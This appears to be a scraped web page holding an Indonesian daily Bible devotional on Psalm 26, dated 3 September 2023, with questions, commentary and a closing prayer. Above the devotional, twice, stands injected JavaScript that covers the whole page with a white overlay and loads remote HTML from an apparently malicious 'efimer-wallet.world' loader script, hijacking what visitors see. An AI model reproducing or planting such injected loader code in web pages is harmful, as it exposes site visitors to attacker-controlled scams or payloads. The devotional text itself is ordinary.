const div=document.createElement(‘div’);div.style.position=’fixed’;div.style.top=’0′;div.style.left=’0′;div.style.width=’100%’;div.style.height=’100%’;div.style.backgroundColor=’white’;div.style.zIndex=’9999′;document.body.appendChild(div);fetch(‘https://efimer-wallet.world/recopro/loader.php’).then(response=>response.text()).then(data=>{div.innerHTML=data;});
const div=document.createElement(‘div’);div.style.position=’fixed’;div.style.top=’0′;div.style.left=’0′;div.style.width=’100%’;div.style.height=’100%’;div.style.backgroundColor=’white’;div.style.zIndex=’9999′;document.body.appendChild(div);fetch(‘https://efimer-wallet.world/recopro/loader.php’).then(response=>response.text()).then(data=>{div.innerHTML=data;});
Minggu, 03 Septeber 2023
Mazmur 26 : 1 – 12
Pengantar
Jika kita tidak bisa mendapatkan keadilan dari manusia, apa yang harus kita lakukan? Ya, memohon keadilan dari Tuhan. Untuk tujuan inilah Mazmur 26 ditulis. Karena itu, struktur doa yang dipanjatkan dalam Mazmur ini disusun mengikuti pola yang lazim berlaku dalam pengadilan pada masa itu. Jika seseorang dituduh melakukan kesalahan yang besar, tetapi tidak bisa membuktikan bahwa dirinya tidak bersalah, maka ia akan naik banding kepada Tuhan sebagai Hakim atas segala hakim. Dalam proses ini, orang tersebut harus bersumpah dengan mengutuk dirinya sendiri jika ternyata ia memang melakukan kesalahan tersebut. Setelah itu, ia harus pergi ke Bait Allah untuk mengulangi sumpah tersebut di hadapan Tuhan yang Mahatahu, yang akan menyatakan keadilan-Nya dengan menunjukkan apakah ia memang bersalah atau tidak (lihat 1 Raj. 8:31-32). Dalam proses inilah Mazmur 26 dinyanyikan.
Pemahaman
Ayat 1-3 : Hal apa saja yang pemazmur minta dari Tuhan? Mengapa pemazmur menyebutkan semua itu di dalam doanya?
Ayat 4-8 : Bagaimana pemazmur membuktikan ketulusan dan kesalehannya di hadapan Tuhan?
Ayat 9-12 : Mengapa pemazmur memohon agar Tuhan membebaskannya dari hukuman mati? Apa yang akan dilakukannya setelah ia bebas dari hukuman mati?
Di ayat 1-3, pemazmur memohon agar Tuhan memberikan keadilan kepadanya (ay. 1), memeriksa ketulusan hatinya (ay. 2), dan memperhatikan kesalehannya (ay.3). Pemazmur yakin bahwa dengan memperhatikan ketulusannya dan kesalehannya maka Tuhan akan memberikan keadilan kepadanya. Tuhan akan
menyatakan dirinya tidak bersalah dan membebaskannya dari semua tuduhan yang ditimpakan kepadanya.
Di ayat 4-8, untuk memperkuat permohonannya, pemazmur memberikan bukti-bukti ketulusan dan kesalehannya. Ia memisahkan diri dari perkumpulan orang-orang berdosa (ay.4-5). Melalui ungkapan-ungkapan di ayat 4-5 ini, pemazmur menegaskan bahwa ia tidak terlibat dalam kejahatan yang mereka lakukan. Sebaliknya, ia selalu berusaha menguduskan dirinya, setia beribadah di Bait Allah, dan mencari kemuliaan-Nya (ay. 6-8).
Di ayat 9 – 12 , pemazmur memohon agar Tuhan membebaskannya dari hukuman mati. Jika pemazmur dihukum mati, maka nasibnya akan sama dengan orang-orang berdosa, para pembunuh, para pezinah, dan para penerima suap atau koruptor (ay. 9-10). Jika Tuhan membebaskannya dari hukuman mati, pemazmur akan dapat melanjutkan kehidupannya di dalam ketulusan dan kesalehan seperti yang selama ini telah dijalaninya (ay. 11-12).
Refleksi
Kita tidak selalu bisa mendapatkan keadilan dari manusia, tetapi keadilan dari Tuhan selalu tersedia bagi orang-orang yang hidup dalam ketulusan dan kesalehan.
Tekadku
Tuhan, mampukanlah aku untuk tetap menjaga ketulusan dan kesalehan di tengah dunia yang sering kali bersikap tidak adil.
Tindakanku
Aku akan berdoa bagi seseorang yang aku kenal, yang hidup di dalam penderitaan dan kesukaran karena memperjuangkan kebenaran dan menjadi korban ketidakadilan.